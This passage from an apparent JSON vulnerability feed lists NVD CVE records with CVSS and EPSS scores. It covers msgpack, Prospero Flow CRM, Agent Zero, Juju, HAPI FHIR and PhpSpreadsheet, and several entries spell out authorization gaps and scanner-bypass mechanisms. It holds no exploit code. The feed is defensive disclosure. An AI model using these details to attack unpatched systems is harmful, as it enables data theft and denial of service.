msgpack.org. Prior to 1.2.3, the msgpack-python C extension (msgpack._cmsgpack) leaks a decoded map value when deserialization rejects a key with strict_map_key=True (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both unpackb() and the streaming Unpacker API are affected. The pure-Python fallback does not exhibit this leak in the reported tests. This issue is fixed in version 1.2.3.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:37.733Z","updatedAt":"2026-10-23T21:17:21.823Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114613","asOf":"2026-10-23T21:17:21.823Z"},"epss":{"probability":0.0044,"percentile":0.3798,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114613&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114613","type":"primary","publishedAt":"2026-10-22T19:17:37.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114613&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114613, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114519","cveId":"CVE-2026-114519","aliases":[],"kind":"vulnerability","title":"Missing Authorization (CWE-862) in the user API of Roskus Prospero Flow CRM from 2.0.0 before 5.26.0 allows a user with a basic role to read the accounts of other users of its own...","summary":"Missing Authorization (CWE-862) in the user API of Roskus Prospero Flow CRM from 2.0.0 before 5.26.0 allows a user with a basic role to read the accounts of other users of its own company, including accounts with higher privileges, and, in versions from 3.5.0, to delete them, because the routes GET /api/user/{id} and DELETE /api/user/{id} in routes/api.php carry only the auth:api middleware, which checks that a JSON Web Token is valid and nothing more, and neither UserReadController::read() nor UserDeleteController::delete() checks a permission, a policy or a role before acting. Object access is scoped by company: the read path limits the query to the company of the authenticated user, and the delete path compares the company of the target account with the company of the authenticated user. The delete path skips that comparison when the company of the authenticated user is Company::DEFAULT_COMPANY, so a user with a basic role in that company can delete any account of any company of the installation. Deleting an account removes the data held on it, and the last administrative account of a company can be deleted. This gives the attacker the personal data held on the other accounts, including email address, telephone number, postal address and IBAN, and the ability to delete accounts it has no permission to administer.","detail":"Missing Authorization (CWE-862) in the user API of Roskus Prospero Flow CRM from 2.0.0 before 5.26.0 allows a user with a basic role to read the accounts of other users of its own company, including accounts with higher privileges, and, in versions from 3.5.0, to delete them, because the routes GET /api/user/{id} and DELETE /api/user/{id} in routes/api.php carry only the auth:api middleware, which checks that a JSON Web Token is valid and nothing more, and neither UserReadController::read() nor UserDeleteController::delete() checks a permission, a policy or a role before acting. Object access is scoped by company: the read path limits the query to the company of the authenticated user, and the delete path compares the company of the target account with the company of the authenticated user. The delete path skips that comparison when the company of the authenticated user is Company::DEFAULT_COMPANY, so a user with a basic role in that company can delete any account of any company of the installation. Deleting an account removes the data held on it, and the last administrative account of a company can be deleted. This gives the attacker the personal data held on the other accounts, including email address, telephone number, postal address and IBAN, and the ability to delete accounts it has no permission to administer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:37.267Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114519","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00357,"percentile":0.29199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114519","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114519","type":"primary","publishedAt":"2026-10-22T19:17:37.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97635","cveId":"CVE-2026-97635","aliases":[],"kind":"vulnerability","title":"The Agent Zero Web UI before 1.15 does not correctly sanitize user-provided input in chat messages or file uploads.","summary":"The Agent Zero Web UI before 1.15 does not correctly sanitize user-provided input in chat messages or file uploads. When Agent Zero reproduces content in the chat interface, any injected JavaScript is executed in the context of the victim’s authenticated Agent Zero Web UI session.","detail":"The Agent Zero Web UI before 1.15 does not correctly sanitize user-provided input in chat messages or file uploads. When Agent Zero reproduces content in the chat interface, any injected JavaScript is executed in the context of the victim’s authenticated Agent Zero Web UI session.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T18:17:32.337Z","updatedAt":"2026-10-23T17:17:17.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97635","asOf":"2026-10-23T17:17:17.303Z"},"epss":{"probability":0.0026,"percentile":0.17613,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97635&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97635","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97635","type":"primary","publishedAt":"2026-10-22T18:17:32.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97635&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97635, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93336","cveId":"CVE-2026-93336","aliases":[],"kind":"vulnerability","title":"Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal (a unit agent, or a user with only...","summary":"Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal (a unit agent, or a user with only login permission) to read any application's charm resource in any model,  including container-registry credentials, via a crafted request naming an arbitrary unit.","detail":"Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal (a unit agent, or a user with only login permission) to read any application's charm resource in any model,  including container-registry credentials, via a crafted request naming an arbitrary unit.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T18:17:32.157Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93336","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.00215,"percentile":0.11817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93336&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93336","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93336","type":"primary","publishedAt":"2026-10-22T18:17:32.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93336&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93336, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-13599","cveId":"CVE-2026-13599","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function vulnerability in ABB Ability Edgenius.","summary":"Missing authentication for critical function vulnerability in ABB Ability Edgenius.\n\nThis issue affects Ability Edgenius: through 3.2.3.0.","detail":"Missing authentication for critical function vulnerability in ABB Ability Edgenius.\n\nThis issue affects Ability Edgenius: through 3.2.3.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T18:17:28.663Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.8,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:I/V:D/RE:L/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-13599","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00131,"percentile":0.02645,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-13599&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-13599","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-13599","type":"primary","publishedAt":"2026-10-22T18:17:28.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-13599&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-13599, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113874","cveId":"CVE-2026-113874","aliases":[],"kind":"vulnerability","title":"SmileCDR HAPI FHIR allows an untrusted bundle body to replace a partition identity previously established by a trusted source, and does not enforce storage partition entitlement...","summary":"SmileCDR HAPI FHIR allows an untrusted bundle body to replace a partition identity previously established by a trusted source, and does not enforce storage partition entitlement by default. An attacker authorized for one tenant can read from or write to another tenant's partition.","detail":"SmileCDR HAPI FHIR allows an untrusted bundle body to replace a partition identity previously established by a trusted source, and does not enforce storage partition entitlement by default. An attacker authorized for one tenant can read from or write to another tenant's partition.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T18:17:27.237Z","updatedAt":"2026-10-23T19:17:43.483Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113874","asOf":"2026-10-23T19:17:43.483Z"},"epss":{"probability":0.00323,"percentile":0.25151,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113874&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113874","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113874","type":"primary","publishedAt":"2026-10-22T18:17:27.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113874&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113874, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113873","cveId":"CVE-2026-113873","aliases":[],"kind":"vulnerability","title":"SmileCDR HAPI FHIR does not properly handle highly compressed data, allowing an unauthenticated attacker to send compressed payloads that exhaust server heap or crash certain...","summary":"SmileCDR HAPI FHIR does not properly handle highly compressed data, allowing an unauthenticated attacker to send compressed payloads that exhaust server heap or crash certain services when decompressed.","detail":"SmileCDR HAPI FHIR does not properly handle highly compressed data, allowing an unauthenticated attacker to send compressed payloads that exhaust server heap or crash certain services when decompressed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T18:17:27.077Z","updatedAt":"2026-10-23T19:17:43.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113873","asOf":"2026-10-23T19:17:43.350Z"},"epss":{"probability":0.00522,"percentile":0.44006,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113873&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113873","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113873","type":"primary","publishedAt":"2026-10-22T18:17:27.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113873&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113873, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108359","cveId":"CVE-2026-108359","aliases":[],"kind":"vulnerability","title":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.","summary":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, Ods::processTableRow in src/PhpSpreadsheet/Reader/Ods.php accepts an unbounded table:number-rows-repeated attribute from an ODS table row. When the row contains a value, the reader materializes a cell for every repetition without checking the spreadsheet row limit, so a small attacker-controlled ODS file can consume substantial CPU and memory and terminate the PHP worker. Column repetition is separately bounded and is not part of this vulnerability. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.","detail":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, Ods::processTableRow in src/PhpSpreadsheet/Reader/Ods.php accepts an unbounded table:number-rows-repeated attribute from an ODS table row. When the row contains a value, the reader materializes a cell for every repetition without checking the spreadsheet row limit, so a small attacker-controlled ODS file can consume substantial CPU and memory and terminate the PHP worker. Column repetition is separately bounded and is not part of this vulnerability. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T18:17:26.740Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108359","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.00407,"percentile":0.34663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108359&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108359","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108359","type":"primary","publishedAt":"2026-10-22T18:17:26.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108359&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108359, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108358","cveId":"CVE-2026-108358","aliases":[],"kind":"vulnerability","title":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.","summary":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.","detail":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T18:17:26.553Z","updatedAt":"2026-10-23T22:16:53.307Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108358","asOf":"2026-10-23T22:16:53.307Z"},"epss":{"probability":0.00483,"percentile":0.41305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108358&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108358","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108358","type":"primary","publishedAt":"2026-10-22T18:17:26.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108358&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108358, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108357","cveId":"CVE-2026-108357","aliases":[],"kind":"vulnerability","title":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.","summary":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.","detail":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 